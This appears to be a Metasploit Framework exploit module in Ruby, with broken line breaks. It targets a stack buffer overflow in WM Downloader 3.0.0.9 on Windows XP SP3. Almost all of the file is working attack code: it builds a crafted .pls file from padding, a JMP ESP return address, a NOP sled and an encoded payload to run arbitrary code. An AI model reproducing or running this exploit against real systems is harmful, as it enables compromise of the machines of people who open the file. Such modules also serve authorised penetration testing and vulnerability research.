### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,'Name' => 'WM Downloader Buffer Overflow Exploit','Description' => %q{
This module exploits a stack overflow in WM Downloader
version 3.0.0.9.
By creating a specially crafted .pls file, an an attacker may be
able
to execute arbitrary code.},'License' => MSF_LICENSE,'Author' =>
['Blake',],'Version' => '$Revision: 1 $','References' =>
[['OSVDB','62614'],['URL','http://www.exploit-db.com/exploits/11384'],],'DefaultOptions' =>
{'EXITFUNC' => 'thread',},'Payload' =>
{'Space' => 1904,'BadChars' => "\x00\x0a\x0d\x20",'StackAdjustment' => -3500,},'Platform' => 'win','Targets' =>
[['Windows XP SP3',{'Ret' => 0x7C96BF33}],#
ntdll.dll JMP ESP
],'Privileged' => false,'DisclosureDate' => 'Feb 10 2010','DefaultTarget' => 0))
register_options([
OptString.new('FILENAME',[ false,'The file name.','exploit.pls']),], self.class)end
def exploit
sploit = rand_text_alphanumeric(26084)
sploit << [target.ret].pack('V')
sploit << make_nops(20)
sploit << payload.encoded
sploit << rand_text_alphanumeric(28000 - payload.encoded.length)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)endend